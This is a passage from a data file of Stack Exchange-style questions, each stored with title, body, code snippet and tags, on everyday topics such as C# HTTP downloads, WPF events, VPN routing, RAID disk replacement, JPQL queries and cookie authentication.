same error with WebClient.Downloadfile:\n\nUpdate 3: Having retrieved the other
headers in the message (using Fiddler), they are:\n\n", "public static bool
SaveFileFromURL(string url, string destinationFileName, int timeoutInSeconds)\n
{\n //SetAllowUnsafeHeaderParsing20();\n Configuration config
= ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.None);\n
SettingsSection section =
(SettingsSection)config.GetSection(\"system.net/settings\");\n
section.HttpWebRequest.UseUnsafeHeaderParsing = false;\n config.Save();\
n\n // Create a web request to the URL\n HttpWebRequest
MyRequest = (HttpWebRequest)WebRequest.Create(url);\n
MyRequest.UseDefaultCredentials = true;\n MyRequest.ContentLength = 0;\
n\n MyRequest.Timeout = timeoutInSeconds * 1000;\n try\n
{\n // Get the web response\n HttpWebResponse
MyResponse = (HttpWebResponse)MyRequest.GetResponse();\n\n // Make
sure the response is valid\n if (HttpStatusCode.OK ==
MyResponse.StatusCode)\n {\n // Open the response
stream\n using (Stream MyResponseStream =
MyResponse.GetResponseStream())\n {\n //
Open the destination file\n using (FileStream MyFileStream =
new FileStream(destinationFileName, FileMode.OpenOrCreate, FileAccess.Write))\n
{\n // Create a 4K buffer to chunk the file\n
byte[] MyBuffer = new byte[4096];\n int BytesRead;\n
// Read the chunk of the web response into the buffer\n
while (0 < (BytesRead = MyResponseStream.Read(MyBuffer, 0, MyBuffer.Length)))\n
{\n // Write the chunk from the buffer to the file\n
MyFileStream.Write(MyBuffer, 0, BytesRead);\n }\n
}\n }\n }\n }\n catch
(Exception err)\n {\n throw new Exception(\"Error saving
file from URL:\" + err.Message, err);\n }\n return true;\n
}\n", "c# asp.net httpwebrequest httpwebresponse"], "945789": ["how to add comma to
string after every nth character in xcode", "my problem is pretty simple. I assign
a value to string variable in xcode which looks like this:\
nARAMAUBEBABRBGCNDKDEEEFO\nand I need it like this:\
nAR,AM,AU,BE,BA,BR,BG,CN,DK,DE,EE,FO\nThe length is different in each variable.\
nthanx in advance\n", "", "iphone nsstring xcode4.3"], "3457840": ["Populate
DataFormComboBoxField from a list", "Does anyone know how to populate a
DataFormComboBoxField from a regular list in SilverLight 3 beta? There seems to be
no meaningful documentation or examples anywhere online.\nThanks\n~Steve\n", "",
"silverlight-3.0 dataform"], "5349851": ["How are open source repositories managed
for popular languages?", "I'm a developer that creates Open Source code for a small
language (LabVIEW), and am currently sharing this in several places. The vendor of
LabVIEW has a certification process for Open Source libraries (mixed with
commercial/closed libraries), but it's rather lengthy.\nI was wondering how more
popular languages manage large repositories of libraries (for instance Debian, or
python-works) of Open Source libraries, are those strictly controlled and monitored
for quality or can anyone contribute?\n\nHow would one set up the process for a
centralized repository and accept incoming code?\nAre there different levels of
quality/trustworthy? \nIs it allowed to rely on libraries outside the repository?\
n\n", "", "open-source management repository"], "3969098": ["Assistance on setup to
Connect an offsite server to the LAN via RRAS VPN - Server 2008 R2", "I have an
office LAN protected using a Zyxel Zywall USG 300. I've set up an L2TP/ipsec VPN on
that which accepts connections using a shared secret and I've tested this from
multiple clients.\nI have a server offsite and want to set up RRAS to use a
persistent connection to the VPN so that it can carry out network jobs even with no
one logged in (I'm using it for Micorosft DPM secondary backup).\nIf I create a vpn
as if I were setting up a users laptop it can dial in no problem but if I set up a
demand dial interface in RRAS it errors.\n\nI enable RRAS ticking only demand dial
interface (branch office routing)\nSelect network interfaces, right click and
choose new demand dial interface\nName the VPN ToCompany\nSelect connect using VPN\
nAnd then L2TP as the vpn type\nenter the IP address (double-checked for typos!)\
nselect
Route IP packets on this interface\nspecify static route to remote network as
10.0.0.0/24 with metric of 1\nadd dial out credentials (again double checked for
typos and confirmed with other vpn connections\nclick finish\nnow I right-click on
the new interface and choose properties and then the security tab\nI change Data
encryption to optional\nselect only PAP for Authentication (both as per
manufacturer of Zywall)\nclick advanced settings against type of vpn and set shared
secret\nthen I select the new interface, right-click and choose connect \n\nthis
dials and then errors with either 720 or 811 as the error codes. However, if I
create a VPN by going to Network & Sharing center and setting up as if I was
creating a VPN from my laptop to the office (say) it dials successfully \nso I know
the VPN settings are correct and the machine can connect to the VPN.\nSuggests very
strongly the problem is how I'm setting up RRAS. Can anyone help?\n", "", "windows-
server-2008 vpn rras"], "4568553": ["Detect when user presses the red X in toolbar
(top right)", "Within the application im am writing for testing/learning c# i use
the hidden/visible property to open and close windows.\nIt is a WPF application.\
nIn the main window, i have a \"close\" button, that triggers this method:\n\nThis
way i make sure that all windows get closed, also the hidden ones.\nBut now is the
catch, when the user presses (in the main window) the top right red X in toolbar to
close, only that main window gets closed, but in the background the hidden ones are
still there. \nSo in fact it is 2 questions:\n1) Is really sufficient to get the
app 100% closed down ?\n2) How do i \"catch\" the event when the user presses that
red X in the toolbar, and make this also trigger the right closing event ?\nthanx
you in advance.\n", "public void buttonQuit_Click(object sender, RoutedEventArgs
e)\n{\n var message = exitmessage;\n var title = exitTitle;\n var result =
MessageBox.Show(\n message, // the message to show\n
title, // the title for the dialog box\n
MessageBoxButton.YesNo, // show two buttons: Yes and No\n
MessageBoxImage.Question); // show a question mark icon\n\n // lets see what
has been pressed\n switch (result)\n {\n\n case
System.Windows.MessageBoxResult.Yes: // Yes button pressed\n
CloseAllWindows();\n break;\n\n case
System.Windows.MessageBoxResult.No: // No button pressed\n break;\n\n
default: // Neither Yes nor No pressed (just in case)\n
MessageBox.Show(\"Oh noes! What did you press?!?!\");\n break;\n }\
n}\n", "c# wpf close toolbar"], "2721650": ["Can I have Google maps within a
Facebook fan page?", "I need to use Google Maps within a Facebook page (as a new
tab). Is this possible? I searched online and could not find out how this can be
done. Please help.\n", "", "facebook google-maps"], "3216958": ["Chrome browser
ignores var self = this;", "I'm writing some jQuery javascript code and was
debugging an issue in Google Chrome (latest stable 24 on Mac OS X 10.7 Lion) when I
found that\n\nshowed in the debugger: \"self: undefined\". The assignment was
inside a member function, if that makes any difference. I ended up just using
'this' directly, since it was simple code. I know I'm clobbering ('shadowing') some
kind of built-in reference to the window, but I thought it would work... Am I
dealing with a known issue?\nI saw this related post which seemed to indicate it
would work:\nthat, self or me \u2014 which one to prefer in JavaScript?\n",
"MyWidget = Widget.extend({\n _item_id : undefined,\n container :
undefined,\n initialize : function(config) {\n var self = this;\n
self.container = $(config.container_id);\n self._item_id =
config.item_id;\n if (typeof(config.changeElement) !== 'undefined') {\n
self._changeElement = config.changeElement;\n $
(self._changeElement).unbind('change', OtherWidget.has_setting_changed);\n\n
$(self._changeElement).change(function (event) {\n
self.changeSetting($(event.target).val()); // had 'this' here before\n
});\n\n self._load();\n }\n },\n _load :
function() {\n var self = this; // <-- here is what fails\n
self.changeState('Loading');\n if (typeof(self._item_id) === 'undefined'
|| this._item_id === '') {\n self.changeState('Create');\n
} else {\n self._loadItem();\n }\n },\n\n
changeSetting : function(item_id) {\n this._item_id = item_id;\n
this._load();\n this._reloadOtherWidget();\n },\n...\n});\n",
"javascript google-chrome this undefined self"], "185717": ["Do i really need to
have \"Windows Malicious Software Removal Tool\" update", "I got a prompt for
windows update and it is update of \"Windows Malicious Software Removal Tool\"\nDo
i really need to have \"Windows Malicious Software Removal Tool\" update..... even
if i use Kaspersky internet security?\n", "", "windows-7 windows anti-virus
windows-update"], "2722876": ["How do I dynamically get the values?", "Where do I
get the values?\nBelow is the script to track usertype, Here I have used custom
variable to track the usertype..\n\nIn above script, how do I dynamically get the
values\nExample:\nIf it is the guest user, I need to fill dynamic value
as \"guest\"\n\nIf user is member after logged in, I need to fill dynamic value
as \"member\"\n\nPlease anyone help me or give me a solution\n",
"pageTracker._setCustomVar(1, \"Usertype\", <<dynamically fill Usertype>>, 1)\n",
"javascript asp.net google-analytics"], "3152123": ["Weak-* sequential compactness
and separability", "Let $X$ be a Banach space, and let $B$ be the closed unit ball
of $X^*$, equipped with the weak-* topology. Alaoglu's theorem says that $B$ is
compact. If $X$ is separable, then $B$ is metrizable, and in particular it is
sequentially compact.\n\nWhat about the converse? If $B$ is sequentially compact,
must $X$ be separable?\n\nThis question was inspired by this one.\n", "",
"functional-analysis banach-spaces"], "3537709": ["Accessing and modifing a
variable in and out of functions", "Hello i am trying to modify the variable but
failing on the ajax function, i cant get the output on popText :(\nWhat am i doing
wrong?\n\npopText always end up with the value assigned on \n", "popText",
"javascript jquery variables"], "2413045": ["WCF Globalization", "I have a WCF
service using netTcpBinding (the protocol should not be relevant but included it
anyway).\nI am having Culture issues with parsing dates.\nPreviously, using HTTP
and System.Web, we can use the globalization element.\nUnfortunately this has no
effect in WCF.\nI Have had trouble finding information/blogs about this.\nIs there
a way to set the culture in a WCF service in the configuration file? \nThanks very
much\nRussell\n", "", "wcf globalization"], "5329201": ["Jersey Client response
status 204", "I am using Jersy for both service and client. When I am trying to
call the service, I get this error:\n\nI do not understand why.\nHere is the
service:\n\nand this is the client:\n\nI really have no idea about what the problem
could be. I am aware of another question here with a seemingly identical subject,
but they are not. Please let me know if I am missing something or if you need any
extra info.\n", "Exception in thread \"main\"
com.sun.jersey.api.client.UniformInterfaceException: GET
http://localhost:8080/Maze/rest/service/overview?countryid=1 returned a response
status of 204 No Content\nat
com.sun.jersey.api.client.ClientResponse.getEntity(ClientResponse.java:528)\nat
com.sun.jersey.api.client.ClientResponse.getEntity(ClientResponse.java:506)\nat
com.sun.jersey.api.client.WebResource.handle(WebResource.java:674)\nat
com.sun.jersey.api.client.WebResource.access$200(WebResource.java:74)\nat
com.sun.jersey.api.client.WebResource$Builder.get(WebResource.java:503)\nat
com.maze.client.MyClient.overviewTest(MyClient.java:34)\nat
com.maze.client.MyClient.main(MyClient.java:64)\n", "web-services jersey"],
"4939349": ["Menu item's tooltip hidden by submenu dropdownlist", "I have a
winforms ContextMenuStrip that has ToolTipText set for all of it's
ToolStripMenuItem's.\nOne of these menu items, \"Insert Action\", has an associated
ToolStripDropDown sub-menu. When the mouse is moved to Insert Action, the drop down
menu is automatically displayed and the tooltip associated with Insert Action is
displayed but pushed to the background behind both the ContextMenuStrip and the
dropdown.\nSee here for a picture of the problem:
http://www.screencast.com/t/GZkeBNcU\nI have tried programatically re-selecting
Insert Action after the sub-menu is opened, but the tooltip will not redisplay on
top.\nAny ideas?\nAlternatively is there a way to only display Insert Action's sub-
menu when it is clicked (as opposed to automatically when the mouse is moved over
it)? I would think there should be a setting for this, but haven't been able to
find it.\nThanks for your help.\n", "", "c# winforms drop-down-menu tooltip"],
"2132961": ["adb logcat: Increase the maximal message length", "it seems like
logcat truncates very long log messages, is there a way to prevent this?\n\nI think
I need to increase the max entry and/or may payload size!?\nKind regards\nAlex\n",
"$ adb logcat -g\nring buffer is 64Kb (63Kb consumed), max entry is 20480b, max
payload is 20460b\n", "android adb logcat"], "2761364": ["What would be the most
efficient way of creating my MySQL database", "I'm thinking of doing something
like...\n\nThen I run a php foreach ID in $table,
to populate the list on a page.\nSo would this be an efficient way of doing this
since some of my tables might not have many entrees? Or should I have all the
entrees in one table and add an extra field for the different categories and find
another way of populating my page via the new field? Or maybe a greater idea?\
nThanks for your time.\n", "Table Pants (20 entrees) \n| ID | Item | Description |
Price \n\nTable Shirts (20 entrees) \n| ID | Item | Description | Price \n\
nTable Socks (5 entrees) \n| ID | Item | Description | Price \n", "mysql
database-design"], "4135031": ["Is there any risk ing giving a webadmin sudo
access", "I have a normal user on my system who needs to have write access on . If
I have the following entry in my sudoers file:\n\nIs there any risk in doing this?\
n", "httpd.conf", "linux ubuntu security sudo"], "3204038": ["Why should I prefer
ASIHTTPRequest over NSURLConnection for downloading files from the web?", "I've
seen a couple of times people using ASIHTTPRequest to download files. Now I wonder
why? What are the core benefits over NSURLConnection?\n", "", "iphone ios ipad
nsurlconnection asihttprequest"], "2399750": ["remove first line from string
builder / string c#", "Okay so I'm trying to make a 'console' like text box within
a form, however once you reach the bottom, instaid of being able to scroll up, it
will just delete the top line, Im having some difficulties.\nSo far, when it gets
to bottom it deletes the top line, however only once, it just carries on as normal.
Here is my function: \n\nWould be great if someone could fix this, thanks \nLucas\
n", " StringBuilder sr = new StringBuilder();\n public void writeLine(string
input)\n {\n string firstline = \"\";\n int numLines =
Convert.ToString(sr).Split('\\n').Length;\n if (numLines > 15) //Max
Lines\n { \n sr.Remove(0,
Convert.ToString(sr).Split('\\n').FirstOrDefault().Length); \
n }\n sr.Append(input + \"\\r\\n\");\n consoleTxtBox.Text =
Convert.ToString(sr) + numLines;\n }\n", "c# stringbuilder"], "5859158": ["How
to preg_replace these strings using PHP", "I have a text like this \n I want to
remove all the string like this ,begin with , end with contain with .\n",
"<text **** display=\"none\">****</text> any words and htmlcodes <text ****
display=\"none\">****</text>", "php preg-replace"], "2168597": ["class in class,
bug in ie6", "I'm writting HTML/css code and have a specific bug in IE6.\nI want to
create changeable div's, using classes: \nFor example (this is just example, not
real-project code)\n\nso, html will be like a:\n\nIt will be great for programmer,
but it doesn't work in IE6 :(\nOnly \n, but it's realy dirty code... Maybe some
there are some hacks?\n", ".top {width: 50px;}\n.top.selected {background: #f00;}\
n.mid {width: 114px;}\n.mid.selected {background: #0f0;}\n.bot {width: 100px;}\
n.bot.selected {background: #0ff; color: #f00;}\n...etc...\n", "html css class
internet-explorer-6"], "3351211": ["Trying to force some kind of IEnumerable.Each-
method", "I have the following snipped inside a Razor-file:\n\nWhere is a object
from a and is a inside this object.\nI know this doesn't work, mostly because
All expects a bool, and also because I can't inline razor in a lambda this way...
But is there any way I could force this kind of functionality? Or should I just do
a normal nested ?\n", "<td>@item.Mottakere.All(q => {\n @q.Epost <br
/>\n})</td>\n", "c# razor ienumerable"], "2918596": ["Repository Pattern: What is
the 'right size'?", "I'm building some repositories for an MVC application, and I'm
trying to come up with the right way to divide responsibilities between
repositories. In most cases, this is obvious. But there is one particular case
where I'm not sure what the right answer is.\nThe users of this application need to
track multiple types of time for their employees. For simplicity, let's consider
only two. I'll call them \"time cards\" and \"attendance.\" The exact nature of the
difference between these two is not really important, but you should note that the
end-users consider them entirely separate data. I think, though, that the reason
they consider them entirely separate data is that they have never really had the
opportunity to see them together in the past. Both types of records have almost
entirely different business rules concerning editing the records, but they are
also, generally speaking, both records of where an employee was at a particular
time. Both types of time records have a great deal of properties in common, such as
a total number of hours, and an employee for whom the time was collected. Both
types also have a few properties which are completely unique to the individual
type. We're keeping these \"extra\" properties in an instance of another type. So
the general structure looks like this:\n\nSo the question is, How many repositories
are required here?\n1 Repository\nA design with only one repository would expose
methods to return \"time cards\", \"attendance\" records, or both types in one
list. This is fairly convenient for clients of the repository, but, to my mind, has
a real danger of becoming a very fat class. I think that a repository for
just \"time cards\" is already going to be one of the largest repositories in the
system even without also handling \"attendance\" simply due to the complex business
rules involved.\n2 Repositories\nAnother design would have one repository
for \"time cards\" and another repository for \"attendance\" records. This has the
advantage that the business rules for, e.g., \"time cards\" are in a place by
themselves. But I'd also like to have a way to get a list of all time records,
regardless of type. It's not clear which repository to use for this case. Both?\n3
Repositories\nA design with one repository for \"time cards\", another repository
for \"attendance\" records, and a third repository to deliver a read-only list of
all time records is also a possibility. Like the 2 repository design, this has the
advantage that the business rules for, e.g., \"time cards\" are in a place by
themselves. It's now clear where to get the combined list. But I find it a bit
weird that I could get the same record from two different repositories.\nHybrid\nA
hybrid approach would use a single repository, but move any business rules code
(including selection of records) into separate types. In this example, a
single \"time record repository\" would aggregate instances of business rule
implementation classes for \"time card\" and \"attendance\" time. I think this is
the approach I'm favoring right now.\nOther?\nAnything I've missed? Any compelling
arguments for one design over the other?\n", "class TimeRecord \n{ \n Person
Employee { get; set; }\n TimeSpan? Hours { get; set; }\n}\n\nclass TimeCardData\
n{\n TimeRecord Record { get; set; }\n TProperty TimeCardProperty { get;
set; }\n}\n\nclass AttendanceData\n{\n TimeRecord Record { get; set; }\n
TProperty AttendanceProperty { get; set; }\n}\n", "mvc domain-driven-design
repository-pattern"], "4473550": ["C character values arithmetic", "I have been
reading from the book \"The C Programming Language\" learning C, and I stumbled
upon the arithmetic which they said that it gives the numeric value of the
character stored in s[i]. I didn't quite understand it, how could it give the value
by subtraction?\nNote This is used in the atoi function, which converts a string of
digits into its numeric equivalent.\nThanks\n", "s[i] - '0'", "c char ascii
expression atoi"], "2440067": ["How to create tabbed document environment using
winforms?", "How to create a tabbed document environment (like Visual Studio
2005/2008) using windows forms?\n", "", "winforms"], "634774": ["any good
alternative to Iconv library for encoding conversion?", "i was using Iconv library
on Ruby to convert encoding from UTF-8 to UTF-32, UTF-16 etc and it was quite
good.\nHowever, I do see an issue when converting from Big5 to UTF-8 -- an
exception is thrown for invalid sequence...\nand the problem goes away when it is
converting from CP950 to UTF-8, of which CP950 is essentially Big5...\nso I wonder
if there is another good alternative besides using Iconv? Or is the CP950 a better
version of Big5?\n", "", "encoding iconv big5"], "5010636": ["How to safely replace
a not-yet-failed disk in a Linux RAID5 array?", "I have a software RAID5 array
(Linux md) on 4 disks. \nI would like to replace one of the disks with a new one,
without putting the array in a degraded state, and if possible, online. How would
that be possible? \nIt's important because I don't wan't to: \n\ntake the risk of
stressing the other disks so one may crash during rebuild, \ntake the risk of being
in a \"no-parity state\" so I don't have a safety net for some time. \n\nI suppose
doing so online is too much asking and I should just raw copy () the data of the
old disk to the new one offline and then replace it, but I think it is
theoretically possible... \nSome context: Those disks have all been spinning almost
continuously for more than 5.5 years. They still work perfectly for the moment and
they all pass the (long) SMART self-test. However, I have reasons to think that one
of those 4 disks will not last much longer (supposed predictive failure). \n",
"dd", "linux software-raid mdadm raid5"], "2744639": ["How to convert action script
2 to action script 3?", "Code is\n import mx.events.EventDispatcher;\n import
Proxy;\nFollowing is the class definition.\n\nall this code falls in the same
class\nFollowing are the functoins in the class above\n\nThese are the functions.
in the class.\n", "class XMLLoad extends EventDispatcher{\npublic var
XML_NODE_TYPE_TEXT = 3;\npublic var XML_NODE_TYPE_ELEMENT = 1;\nprivate var
xmlPath:String;\nprivate var xmlObj:Object;\nprivate
var classObj:Object;\nprivate var data_xml:XML;\nprivate var loadedxmldata:XML;\
nprivate var success:Boolean;\n\npublic static var LOAD_SUCCESS:String
= \"xmlObjCreated\";\npublic static var LOAD_FAILED:String = \"xmlObjFailed\";\n",
"flash actionscript-3 actionscript-2"], "4186557": ["Sybase query doesn't work in
Oracle", "\nThe above is a Sybase query which works well. I am creating a handler
for UserDB and executing this query in Oracle\nIn oracle I am getting errors if i
give the query as below\n\n", "DELETE UserDB..UserAccount\n FROM
UserDB..UserAccount A, CustDB..ETS_Profile B \n WHERE A.UserId = B.User_Id\n and
B.Category = 'Customer'\n AND B.Sub_Category = 'Teir'\n and B.Item_Name =
'CUSTODIAN'\n", "oracle oracle11g"], "2399327": ["Masking / Pointing subdomain to
different server and keeping same url in address", "Originally posted on Stack
Overflow.\nThis may be a question for Server Exchange but I am starting to feel
pretty cozy here and I feel like someone here will definitely know the answer. We
are currently rebuilding a php site in rails and have the new site that is being
rebuilt on a linode box [nginx]. The live domain lives on a slicehost box [also
niginx]. Upon launch we are planning on forwarding the complete site to the linode
box but would like to set up a subdomain (beta.domain.com) for testing purpose. I
know we can do a simple forward / CNAME record but we would like to maintain the
same beta.domain.com address.\nAny and all help is greatly appreciated.\nNote: We
currently have complete control over both domains.\n", "", "nginx redirect http-
headers mask"], "4427069": ["delphi app freezes whole win7 system", "i have a
simple program that sorts a text file according to length of words per line\nthis
program works without problems in my xp based old machine\nnow i run this program
on my new win7/intel core i5 machine, it freezes whole system and back normal after
it finishes it's work.\ni'v invastigated the code and found the line causing the
freeze\nit was this specific line...\n\ni'v changed it to\n\nand there is no
freeze\nand then i'v changed it to \n\nand it freeze again \nmy procedure code is\
n\nany idea why ? and how to fix it?\ni use delphi 2007/win32\n", "caption :=
IntToStr(i) + '..' + IntTostr(ii);\n", "delphi windows-7 freeze"], "5469459": ["How
get current segment in dos", "I am trying to get cs (current segment) register
value by using c language. I tried it bay assembler by this code: but my project
did not recognise __asm__. May be there is other way to this? Please help. \n",
"__asm__(\"movw %%eax, %%ecs;\" : \"=r\" ( cur_seg ));", "c dos"], "5232587": ["How
do I rewrite this particular JPQL query with SELECT MAX() to CriteriaQuery?", "I am
quite new to JPA and I have encountered a problem with understanding one particular
query. I have rewritten in to the CriteriaQuery but the result and the query
translated to SQL is not correct.\nBackground situation: I have a table of store
transaction (moves) and the current amount in the store is defined as a sum of all
changes. Now I want to select and display the last moves as they also contain an
information about the resulting amount on store.\nSo, this is the query in JPQL:\n\
nI tried to rewrite it to the following CriteriaQuery:\n\nThe incorrect SQL query
produced is following:\n\nI do not understand why there is a double cross join in
the subquery. Thank you for helping!\n", "SELECT m FROM move m WHERE m.id = (\n
SELECT MAX(o.id) FROM move o WHERE (o.item = m.item AND m.cell.store = :s)\n",
"java translation condition jpql criteriaquery"], "634777": ["Validating a Form
With jQuery in Database.. Number Fields Break", "I am trying to validate a form
which allows user input and I'm using the jQuery plugin found
below.\nhttp://docs.jquery.com/Plugins/Validation/Methods\nThe details are being
held within a back-end database and validating the date/email/text entries has
worked fine and isn't causing any problems.\nHowever, every time I try and specify
a number/digits format the back-end php file complains about the data being
truncated for 'Age' (One of the database fields) and doesn't execute.\nAge is set
as an integer in the database, with a max length of 3.. What's causing this to
break everytime?\n\nMy Code - \n\nMy Form Element - \n\n", "
jQuery(document).ready(function(){\n jQuery(\"#custform\").validate({\n
rules: {\n DateOfOrder: {\n required: true,\n dateISO:
true\n }\n Age: {\n required: true,\n digits:
true\n }\n }\n });\n });\n", "php jquery database form-validation"],
"5563778": ["LaTeX listing counter counts with every \\pause-command?", "I'm
writing a TeX-File for a beamer presentation and have a problem with the -command
and the listing counter:\nThe Listing counter increments its count with every
command \u2013 although I don't change the frame or anything at the code. This
looks very ugly. So I need to either stop the counter from incrementing its count
with every command or turn off the counter at all \u2013 and I couldn't even find
out how this works.\nCan someone please help me?\nHere some of my listings-
Setting:\n\n", "\\pause", "pause beamer listings"], "5659563": ["How to manually
organize files and folders in NetBeans?", "I'd like to be able to manually adjust
placement of objects in a project browser tree in netbeans. Reorder, introduce
virtual folders, etc. Is it possible? Is there a plugin providing this
functionality? Or should I try another IDE?\n", "", "java ide netbeans"],
"2440064": ["is TransformerFactoryImpl of Xalan is thread safe?", "Is the class
thread safe? Or do I have to a keep local copy for each thread?\n",
"org.apache.xalan.processor.TransformerFactoryImpl", "java thread-safety xalan"],
"2199667": ["Using JSON dataArray in Dashcode, doesn't display binded information",
"I'm trying to write a simple dashboard widget (possibly an additional webapp) that
displays the information from a JSON feed. I've added the URL to a datasource, and
it loads the info properly. It doesn't have any items.\nThis is the format:\
n{\"username\": \"emb1995\", \"unconfirmed_reward\": \"0.02107742\", \"send_thresho
ld\": \"1.00000000\", \"confirmed_reward\": \"0.11128238\", \"wallet\": \"key_here_
but_removed\", \"estimated_reward\": \"0.00000000\"}\nAs a test, I added a text
element. I went to the datasource section and binded the string to the element that
I wanted:\n\nHere is what my layout looks like:\n\nBut when I run the widget, the
information is never displayed:\n\nAny ideas on how to make this work?\n", "",
"json datasource dashcode"], "1682176": ["How can I make MS Query (in Excel) see
tables with field-level security on SQL Server 2005 or later?", "MS Query, when
connecting to SQL Server through an ODBC Data Source, uses the system
procedure \"sp_tables\" to retrieve a listing of tables in the database. The
source for sp_tables can be viewed but not altered. The problem with this
procedure is that it will not return a table name for which the connected user has
permissions to access only certain columns. It only returns tables for which the
connected user has full SELECT access.\nWe are using database roles with explicitly
granted access to tables in our data warehouse. We have a model for building
security down to the field level, but cannot enable it due to the problem above.
Most users are accessing through MS Query and Excel, because everyone has MS Office
and we have trained them in its use.\nSince many reports have already been built
around this product, migrating users to another product is not an option at this
time.\nOne suggestion has been to create views with only the available columns and
grant select on those views. This would work, but 1) would defeat the purpose of
field-level access and isn't too far off of our current \"work-around\" and 2)
would require retraining the users on using the new views instead of the tables
they are used to.\n", "", "security excel field"], "5563670": ["LamedropXPd-like
very simple zipper?", "A friend of mine needs to zip a bunch of MP3's on her
locked-down XP or Vista PC at work. There are two requirements:\n\nSince she
doesn't have admin rights, the application should either not require an installer,
or the installer doesn't require admin rights (don't know if it's possible)\
nIdeally, the UI should be as dead-simple, for example like LamedropXPd:\n\ni.e.
just drag 'n drop files from Windows Explorer onto the icon, and off she has a ZIP
file in the same directory as where the MP3's are located.\n\nDoes someone know of
such a utility?\n", "", "windows portable zip archiving"], "1532895": ["When is it
ok to disable event validation on a page?", "I am using ASP.NET ajax to dynamically
add/remove controls from a page without using full postbacks. The UI is very
complicated. Under certain scenarios, when a control on the page causes a full
postback, after changing the controls via async postbacks, I get this error:\
nhttp://stackoverflow.com/questions/228969/aspnet-invalid-postback-or-callback-
argument-event-validation-is-enabled-using\nI can fix it by setting
EnableEventValidation=\"false\" at the page level. \nWhat are the implications of
doing this? Are there times when it is ok to do this or is this a hack? \n", "",
"asp.net asp.net-ajax"], "4580858": ["NHibernate Search N+1 Issue", "I'm using
NHibernate Search for NHibernate 3.0 GA.\nI have this code in my product
repository:\n\nIn NH Profiler, I can see that a select statement is issued for
every product found. What am I missing?\nI found this thread from 2009 but
presumably this bug has been fixed.\nEDIT [06/06/2011]:\nMy property mappings as
far as associations go are as follows:\n\nI don't really want to eager fetch all
categories.\n", "public IList<Product> Find(string term)\n {\n
var productFields = new[] { \"Name\", \"Description\" };\n var
importance = new Dictionary<String, float>(2) { { \"Name\", 4 }, { \"Description\",
1 } };\n var analyzer = new StandardAnalyzer();\n var parser
= new MultiFieldQueryParser(\n productFields,\n
analyzer,\n importance);\n\n var query =
parser.Parse(term);\n\n var session =
Search.CreateFullTextSession(NHibernateSession.Current);\n var tx =
session.BeginTransaction();\n var fullTextQuery =
session.CreateFullTextQuery(query);\n
fullTextQuery.SetFirstResult(0).SetMaxResults(20);\n var results =
fullTextQuery.List<Product>();\n tx.Commit();\n\n return
results;\n }\n", "nhibernate lucene.net nhibernate.search"], "5603537":
["Unit Testing Scheduler in the FUTURE C#", "I'm using quartz.NET inside a
scheduler project (class library) on my application, this is because i want the
other projects to be agnostic of the actual implementation. In the future, if i
want to change quartz for Castle Scheduler or Windows Scheduler or wathever... i
will have the flexibility to change it.\nI need to unit test weekly triggers on my
Quartz.NET project, I started researching and found out what at the moment seemed
to be a cool solution MOLES this extension basically allows me to change the
DateTime.Now and go TO THE FUTURE!! \nIn this case, one week from now, when the
trigger is scheduled to fire, but after waiting a little time found with sadness
that my triggers were not being activated, even when changing the time and
Thread.Sleeping a couple of minutes... \nThe reason that I want to go to the future
is because within the application I'm using different methods/triggers for each
kind of request E.G. Weekly, Weekly with recurrence, Monthly, Yearly\nHas anyone
else Unit Tested this kind of scenario?\nIs there something that i'm passing by?\
nIs it possible with MOLES?\n", "", "c# unit-testing .net-4.0 quartz.net moles"],
"2985013": ["Zend Framework Multidimensional Form Array", "I need to create a
multidimensional array form using zend framework. When I post the form I should be
able to get the following result as post. \n\nFor some reason I am not able to get
the above result. So far the result I get is this.\n\nSo my question is does
Zend_Form support multidimensional form array? If yes how?\nThanks in advance...\
n", "Array\n(\n [Address] => Array\n (\n [customer] => Array\n
(\n [name] => Customer Name\n )\n\n
[guest] => Array\n (\n [name] => Guest Name\n
)\n\n )\n\n)\n", "php zend-framework zend-form"], "2889492": ["Mathematica
North America map", "How would you render a map such as this one within
Mathematica? (e.g. one with US states and Canadian provinces colourable
separately?)
http://upload.wikimedia.org/wikipedia/commons/archive/1/18/20071029031002%21North_A
merica_map_coloured.svg\nI've tried to import the SVG paths and build polygons
(with an approach based on http://mathgis.blogspot.com/2009/11/make-us-county-
thematic-map-using.html) but they look much less nice than the curves in the linked
SVG. The built-in databases didn't appear to have shapes for US states and Canadian
provinces: only countries.\nThanks!\nPS: the aim of this is to be able to make
choropleth maps for state/province data (i.e. to colour states/provinces according
to some data related to that state/province)\n", "", "mathematica mapping
visualization gis"], "5635513": ["Securing Cookie Based Authentication", "I am
currently re factoring one of my web applications and I was hoping for some advice
on improving my security.\nI'll note that the application is in ASP.net and the
current implementation prevents me from using integrated authentication. This is
also in no way an application that requires high security, I just like having my
bases covered.\nIn the past I've stored the id and a token .\nThe token is a hash
of the user's ID + the user's Salt (reusing the value from the auth info)\nWhen a
user visits the site the ID is checked against the token and authed accordingly. \
nIt occurs to me that there is a big hole here. \nTheoretically if someone got
their hands on a salt value all they'd need to do is guess the hash algorithm and
iterate through the possible IDs until they got in. I don't expect this to happen,
but it still seems like a mistake.\nAny advice on how to properly confirm that user
cookies haven't been altered?\n", "", "security cookies"], "2144210": ["Gtalk for
Terminal in Ubuntu", "Is there a way to log onto to gtalk and have multiple chats
open using the terminal?\n", "", "ubuntu terminal google-talk"], "1096455":
["Android app always crashes", "Can anyone please tell me what wrong?\nThe app
always crashes on device SE xperia X10. maybe it's the way I'm embedding ADMOB.\nIt
doesn't even show for a second. Any clues please?\nEverything seems to be alright
in the XML and the manifest.\nThank you\n\nAnd here is the catlog\n\n", "package
com.taiic.template.admob;\n\n\nimport com.google.ads.AdRequest;\nimport
com.google.ads.AdView;\nimport java.io.IOException;\nimport java.util.*;\n\nimport
android.widget.*;\nimport android.view.View;\nimport
android.view.View.OnClickListener;\nimport android.annotation.SuppressLint;\nimport
android.app.Activity;\nimport android.os.Bundle;\nimport android.location.*;\
nimport android.content.*;\n\nimport android.app.Activity;\nimport
android.os.Bundle;\n\npublic class adMain extends Activity {\n\n Button
addressButton;\n TextView locationText;\n TextView addressText;\n Location
currentLocation;\n double currentLatitude;\n double currentLongitude;\n\n
@Override\n public void onCreate(Bundle savedInstanceState) {\n\n
super.onCreate(savedInstanceState);\n setContentView(R.layout.main);\n\n\n\
n\n addressText = (TextView)findViewById(R.id.addressText);\n locationText =
